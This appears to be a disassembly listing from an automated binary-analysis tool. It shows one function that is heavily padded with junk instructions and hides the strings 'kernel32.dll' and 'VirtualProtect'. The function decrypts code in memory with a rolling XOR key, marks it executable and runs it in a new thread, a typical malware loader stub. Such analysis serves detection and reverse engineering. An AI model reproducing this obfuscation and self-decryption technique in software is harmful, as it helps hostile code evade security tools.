Function at 0xec396f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc eax
dec eax
popfd
xchg ecx, edx
xchg edx, ecx
call fcn.00ec3d14
pushfd
push edx
add esp, 4
popfd
lea eax, [ebp - 0xd8]
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0x61
mov edi, edi
push edx
pop edx
add bx, 0xa
xchg ebx, edx
xchg edx, ebx
pushfd
inc ebx
dec ebx
popfd
mov word [eax], bx
push ebx
pop ebx
pushfd
xor eax, 0xc821f05a
xor eax, 0xc821f05a
popfd
sub bx, 6
push ebx
pop ebx
pushfd
push edi
add esp, 4
popfd
mov word [eax + 2], bx
push eax
push ecx
pop ecx
pop eax
push edx
push ebx
pop ebx
pop edx
add bx, 0xd
pushfd
push edi
add esp, 4
popfd
push eax
push edx
pop edx
pop eax
mov word [eax + 4], bx
pushfd
inc eax
dec eax
popfd
sub bx, 4
push esi
push edi
pop edi
pop esi
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 6], bx
pushfd
push edx
add esp, 4
popfd
sub bx, 9
pushfd
inc ecx
dec ecx
popfd
mov ebx, ebx
mov word [eax + 8], bx
push ebx
push ecx
pop ecx
pop ebx
add bx, 7
xchg ecx, ecx
xchg ecx, ecx
mov word [eax + 0xa], bx
pushfd
push edi
add esp, 4
popfd
sub bx, 0x39
xchg ebx, eax
xchg ebx, eax
mov word [eax + 0xc], bx
push esi
push ebx
pop ebx
pop esi
push ebx
push eax
pop eax
pop ebx
dec bx
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0xe], bx
push edx
pop edx
sub bx, 4
mov ecx, ecx
mov word [eax + 0x10], bx
mov edi, edi
add bx, 0x36
pushfd
push eax
add esp, 4
popfd
mov word [eax + 0x12], bx
pushfd
push ebx
add esp, 4
popfd
add bx, 8
pushfd
xor esi, 0x98073b52
xor esi, 0x98073b52
popfd
mov word [eax + 0x14], bx
pushfd
inc edx
dec edx
popfd
mov word [eax + 0x16], bx
xchg edx, edx
mov word [eax + 0x18], 0
xchg edi, edi
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push esi
pop esi
xchg edi, edx
xchg edx, edi
mov dword [ebp - 0x10], eax
xchg ebx, eax
xchg ebx, eax
xchg ecx, edx
xchg edx, ecx
lea eax, [ebp - 0xd8]
mov ebx, ebx
push edi
pop edi
mov ebx, 0x61
xchg ebx, ebx
sub bl, 0xb
push ebx
pop ebx
pushfd
xor eax, 0x75ce0fe6
xor eax, 0x75ce0fe6
popfd
mov byte [eax], bl
pushfd
push eax
add esp, 4
popfd
nop
add bl, 0x13
pushfd
xor esi, 0x9b02c2cb
xor esi, 0x9b02c2cb
popfd
mov byte [eax + 1], bl
pushfd
push 0x346c75a4
add esp, 4
popfd
add bl, 9
xchg edi, edi
mov byte [eax + 2], bl
pushfd
push edi
add esp, 4
popfd
mov esi, esi
add bl, 2
push edi
pop edi
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 3], bl
push edi
push ebx
pop ebx
pop edi
inc bl
push ebx
pop ebx
mov byte [eax + 4], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0x14
pushfd
xor ebx, 0xc6448088
xor ebx, 0xc6448088
popfd
pushfd
xor esi, 0x1fd4efc0
xor esi, 0x1fd4efc0
popfd
mov byte [eax + 5], bl
mov ebx, ebx
add bl, 0xb
mov edi, edi
mov byte [eax + 6], bl
xchg esi, esi
xchg edi, ecx
xchg ecx, edi
sub bl, 0x1c
pushfd
inc edi
dec edi
popfd
mov byte [eax + 7], bl
pushfd
push 0x923c9fff
add esp, 4
popfd
add bl, 0x22
xchg esi, ebx
xchg ebx, esi
mov edx, edx
mov byte [eax + 8], bl
push esi
pop esi
sub bl, 3
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 9], bl
mov esi, esi
add bl, 5
push eax
pop eax
mov byte [eax + 0xa], bl
pushfd
xor edx, 0xa72f880d
xor edx, 0xa72f880d
popfd
sub bl, 0xf
pushfd
push 0x809baa53
add esp, 4
popfd
xchg edx, edx
mov byte [eax + 0xb], bl
xchg edi, edi
sub bl, 2
xchg edx, esi
xchg esi, edx
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xc], bl
nop
add bl, 0x11
pushfd
push 0x1c9981c0
add esp, 4
popfd
mov byte [eax + 0xd], bl
xchg edx, eax
xchg edx, eax
mov byte [eax + 0xe], 0
push ecx
pop ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
inc ebx
dec ebx
popfd
mov dword [ebp - 0xc], eax
pushfd
push 0xb1212d0c
add esp, 4
popfd
lea eax, [ebp - 8]
xchg ebx, edx
xchg edx, ebx
xchg edi, edi
push eax
push 4
push 0x72c641
push entry0
call dword [ebp - 0xc]
xchg ebx, ebx
mov edi, entry0
pushfd
xor esi, 0x4b5f96fd
xor esi, 0x4b5f96fd
popfd
pushfd
push 0x92f5dd2b
add esp, 4
popfd
mov esi, 0x40100e
nop
pushfd
xor esi, 0xd52e27c7
xor esi, 0xd52e27c7
popfd
mov ecx, 0x72c641
pushfd
push esi
add esp, 4
popfd
mov edx, 0x7e83b4f4
pushfd
push 0x93d88017
add esp, 4
popfd
push ecx
push ebx
pop ebx
pop ecx
mov ebx, 0x46bef888
mov ebx, ebx
push edx
push eax
pop eax
pop edx
cld
nop
lodsb al, byte [esi]
mov eax, eax
xor al, dl
nop
stosb byte es:[edi], al
mov ebx, ebx
ror edx, 5
mov edx, edx
imul edx, edx, 7
xchg ecx, ecx
test ebx, 1
xchg edx, edx
je 0xec3c87
nop
add esi, 1
mov edx, edx
ror ebx, 1
mov edx, edx
dec ecx
mov esi, esi
test ecx, ecx
nop
jne 0xec3c63
pushfd
xor ebx, 0x14ebb997
xor ebx, 0x14ebb997
popfd
push edx
pop edx
lea eax, [ebp - 8]
pushfd
inc ebx
dec ebx
popfd
push eax
push 0x20
push 0x72c641
push entry0
call dword [ebp - 0xc]
xchg edx, ecx
xchg ecx, edx
lea eax, [ebp - 4]
mov edi, edi
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push ebx
push edx
pop edx
pop ebx
xchg esi, edx
xchg edx, esi
pushfd
push edi
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
xor edx, 0xfc8ed63b
xor edx, 0xfc8ed63b
popfd
jmp 0xec3cdb